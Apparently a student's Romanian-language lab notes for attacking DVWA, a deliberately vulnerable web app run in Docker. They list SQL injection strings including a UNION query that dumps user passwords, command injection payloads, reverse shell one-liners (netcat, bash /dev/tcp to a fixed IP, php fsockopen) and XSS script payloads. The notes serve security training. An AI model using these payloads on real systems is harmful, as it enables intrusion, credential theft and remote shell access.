```
//Exploatare DVWA

sudo apt update
sudo apt install docker.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER

sudo docker pull vulnerables/web-dvwa
sudo docker run -d --name dvwa -p 80:80 vulnerables/web-dvwa


Ex.1 SQL injection
LOW
data de intrare:     '  OR '1'='1
                     '  OR 'abc'='abc

Medium
Burpsuite
CyberChef -- encode/decode Base64, etc
Editat direct in Intercept :       id=1 OR 1=1
sau
Send to Intruder cu valoarea:      1 OR 1=1

LOW
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

1' UNION SELECT null, concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,password) FROM
users WHERE '1'='1 1' UNION SELECT null,
concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,password,0x3a) FROM users WHERE
'1'='1

Ex2. Command injection
LOW
       $cmd = shell_exec( 'ping  -c 4 ' . $target );
       // pot concatena la final
       google.com; ls
       google.com; uname -a
       google.com; whoami
MEDIUM
       google.com |ls
       comanda1 && comanda2
       ||,  | ,  &(comanda2)


Reverse shell_exec
target:
    nc -e /bin/bash <IP> <PORT>


attacker:
    nc -lvnp <PORT>


google.com; /bin/bash -i > & /dev/tcp/192.168.124.95/8087 0>&1
https://www.revshells.com/

php -r '$sock=fsockopen("10.0.2.15",8087);shell_exec("sh <&3 >&3 2>&3");'

EX3: Reflected Cross Site Scripting (XSS)

<b>abc</b>
<script> alert(1); </script>

http://localhost/vulnerabilities/xss_r/?name=%3Cscript%3E+alert%281%29%3B+%3C%2Fscript%3E
#

EX4: Stored Cross Site Scripting (XSS)

attacker
```

```
66   <script>alert(" You have been hacked") </script>
67
```